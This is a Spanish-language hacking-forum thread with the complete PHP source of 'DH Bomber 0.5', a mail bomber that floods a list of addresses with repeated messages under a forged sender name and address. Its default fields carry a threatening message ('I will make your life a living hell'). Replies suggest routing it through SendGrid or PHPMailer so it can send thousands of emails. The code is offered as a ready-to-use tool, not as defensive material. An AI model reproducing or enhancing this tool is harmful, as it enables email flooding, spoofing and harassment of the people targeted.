elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Únete al Grupo Steam elhacker.NET


+  Foro de elhacker.net
|-+  Programación
| |-+  Desarrollo Web
| | |-+  PHP (Moderador: #!drvy)
| | | |-+  [PHP] DH Bomber 0.5
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [PHP] DH Bomber 0.5  (Leído 1,883 veces)
BigBear


Desconectado Desconectado

Mensajes: 545



Ver Perfil
[PHP] DH Bomber 0.5
« en: 14 Noviembre 2014, 14:30 pm »

Un simple mail bomber en PHP en la proxima version voy a usar correos gmail para enviar mensajes , no el mailer local de la pagina web.

Una imagen :



El codigo :

Código
  1. <?php
  2.  
  3. // DH Bomber 0.5
  4. // (C) Doddy Hackman 2014
  5.  
  6. echo '
  7. <style type="text/css">
  8.  
  9.  
  10. .main {
  11. margin : -287px 0px 0px -490px;
  12. border : White solid 1px;
  13. BORDER-COLOR: #ffffff;
  14. }
  15.  
  16.  
  17. #pie {
  18. position: absolute;
  19. bottom: 0;
  20. }
  21.  
  22. body,a:link {
  23. background-color: #000000;
  24. color:#ffffff;
  25. Courier New;
  26. cursor:crosshair;
  27. font-size: small;
  28. }
  29.  
  30. input,table.outset,table.bord,table,textarea,select,fieldset,td,tr {
  31. font: normal 10px Verdana, Arial, Helvetica,
  32. sans-serif;
  33. background-color:black;color:#ffffff;
  34. border: solid 1px #ffffff;
  35. border-color:#ffffff
  36. }
  37.  
  38. a:link,a:visited,a:active {
  39. color: #ffffff;
  40. font: normal 10px Verdana, Arial, Helvetica,
  41. sans-serif;
  42. text-decoration: none;
  43. }
  44.  
  45. </style>';
  46.  
  47. echo "<title>DH Bomber 0.5 (C) Doddy Hackman 2014</title>";
  48.  
  49. echo '<center><h1>-- == DH Bomber 0.5 == --</h1></center>
  50. <center>
  51. <br>';
  52.  
  53. if (isset($_POST['bombers'])) {
  54.  
  55.    $cantidad_bien = 0;
  56.    $cantidad_mal  = 0;
  57.  
  58.    $need = "";
  59.    $i    = "";
  60.    $need .= "MIME-Version: 1.0\n";
  61.    $need .= "Content-type: text/html ; charset=iso-8859-1\n";
  62.    $need .= "MIME-Version: 1.0\n";
  63.    $need .= "From: " . $_POST['nombrefalso'] . " <" . $_POST['falso'] . ">\n";
  64.    $need .= "To: " . $_POST['nombrefalso'] . "<" . $_POST['falso'] . ">\n";
  65.    $need .= "Reply-To:" . $_POST['falso'] . "\n";
  66.    $need .= "X-Priority: 1\n";
  67.    $need .= "X-MSMail-Priority:Hight\n";
  68.    $need .= "X-Mailer:Widgets.com Server";
  69.  
  70.    echo "
  71. <table border=1>
  72. <td><center><h2><a href=" . "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'] . "" . ">Console</a></h2></center></td><tr>
  73. <td><fieldset>\n\n";
  74.  
  75.    $leyendo_mailist = explode("\n", trim($_POST['mailist']));
  76.    $mails           = array_filter($leyendo_mailist, 'trim');
  77.  
  78.    foreach ($mails as $mail) {
  79.        for ($i = 1; $i <= $_POST['count']; $i++) {
  80.            if (@mail($mail, $_POST['asunto'], $_POST['mensaje'], $need)) {
  81.                $cantidad_bien++;
  82.                echo "[<font color=#00FF00>Sent Successful</font>] Message <b>$i</b> to <b>" . htmlentities($mail) . "</b><br>";
  83.                flush();
  84.            } else {
  85.                echo "[<font color=red>Send Fail</font>] Message <b>$i</b> to <b>" . htmlentities($mail) . "</b><br>";
  86.                $cantidad_mal++;
  87.            }
  88.        }
  89.        echo "<br>";
  90.    }
  91.  
  92.    echo "<font color=#00FF00>[" . $cantidad_bien . "]</font> mails sent <font color=#00FF00>successfully</font>";
  93.    echo "<br><font color=red>[" . $cantidad_mal . "]</font> mails sent <font color=red>failed</font>";
  94.  
  95.    echo "</fieldset></td></table>";
  96.  
  97.    if ($cantidad_bien == 0) {
  98.        echo "<script>alert('Mails Not Send')</script>";
  99.    } else {
  100.        //echo "<script>alert('[".$cantidad_bien."] mails sent successfully')</script>";
  101.    }
  102.  
  103. } else {
  104.    echo '
  105. <form action="" method="POST">
  106. <table border="1">
  107. <tr>
  108. <td>FakeMail : &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td><td><input name="falso" value="lagarto@juancho.com" size="44" type="text"></td></tr><tr>
  109. <td>FakeName : &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td><td><input name="nombrefalso" value="Juancho" size="44" type="text"></td></tr><tr>
  110. <td>Subjects : &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td><td><input name="asunto" value="Hi Bitch" size="44" type="text"></td></tr><tr>
  111. <td>Count : &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td><td><input name="count" value="1" size="44" type="text"></td></tr><tr>
  112. <td>Mailist : &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td><td><textarea name="mailist" rows="7" cols="41">ihateyou@hotmail.com</textarea></td></tr><tr>
  113. <td>Body : &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td><td><textarea name="mensaje" rows="7" cols="41">I will make your life a living hell</textarea></td></tr><tr>
  114. </tr></tbody></table><br><br>
  115. <input name="bombers" value="Send" type="submit">
  116. </form>';
  117. }
  118.  
  119. echo '
  120. <br>
  121. <h1>-- == (C) Doddy Hackman 2014 == --</h1>
  122. </center>';
  123.  
  124. // The End ?
  125.  
  126. ?>
  127.  


« Última modificación: 14 Noviembre 2014, 14:38 pm por Doddy » En línea

Graphixx


Desconectado Desconectado

Mensajes: 1.336


Full Stack Developer


Ver Perfil WWW
Re: [PHP] DH Bomber 0.5
« Respuesta #1 en: 14 Noviembre 2014, 16:12 pm »

Considera ponerle un servicio SMTP como el de sendgrid.com o http://www.serversmtp.com/ Asi podra enviar miles.


En línea

Nada tiene fin solo hay pequeñas pausas, pausas que determinan el comienzo de otros. Graphixx Rōninnovation
Shell Root
Moderador Global
***
Desconectado Desconectado

Mensajes: 3.723


<3


Ver Perfil WWW
Re: [PHP] DH Bomber 0.5
« Respuesta #2 en: 14 Noviembre 2014, 19:21 pm »

Eso aun se usa  :-X
En línea

Por eso no duermo, por si tras mi ventana hay un cuervo. Cuelgo de hilos sueltos sabiendo que hay veneno en el aire.
BigBear


Desconectado Desconectado

Mensajes: 545



Ver Perfil
Re: [PHP] DH Bomber 0.5
« Respuesta #3 en: 14 Noviembre 2014, 21:43 pm »

Considera ponerle un servicio SMTP como el de sendgrid.com o http://www.serversmtp.com/ Asi podra enviar miles.

ok , gracias por las sugerencias.
En línea

Graphixx


Desconectado Desconectado

Mensajes: 1.336


Full Stack Developer


Ver Perfil WWW
Re: [PHP] DH Bomber 0.5
« Respuesta #4 en: 14 Noviembre 2014, 22:31 pm »

Bastante logrado el script, te felicito, echale una ojeada a PHPMailer tambien http://phpmailer.worxware.com/ capaz y repotencializas el script.
En línea

Nada tiene fin solo hay pequeñas pausas, pausas que determinan el comienzo de otros. Graphixx Rōninnovation
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Bomber-Man con sdl y c
Juegos y Consolas
linkingcrk 0 1,810 Último mensaje 13 Abril 2012, 03:44 am
por linkingcrk
[Delphi] DH Bomber 0.3
Programación General
BigBear 0 1,536 Último mensaje 26 Julio 2013, 21:19 pm
por BigBear
[Perl Tk] DH Bomber 0.2
Scripting
BigBear 0 2,197 Último mensaje 27 Septiembre 2013, 17:50 pm
por BigBear
[Delphi] DH Bomber 0.5
Programación General
BigBear 0 1,489 Último mensaje 13 Diciembre 2013, 04:19 am
por BigBear
[Delphi] DH Bomber 1.3
Programación General
BigBear 1 1,575 Último mensaje 8 Abril 2015, 20:42 pm
por Snaft_J1
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines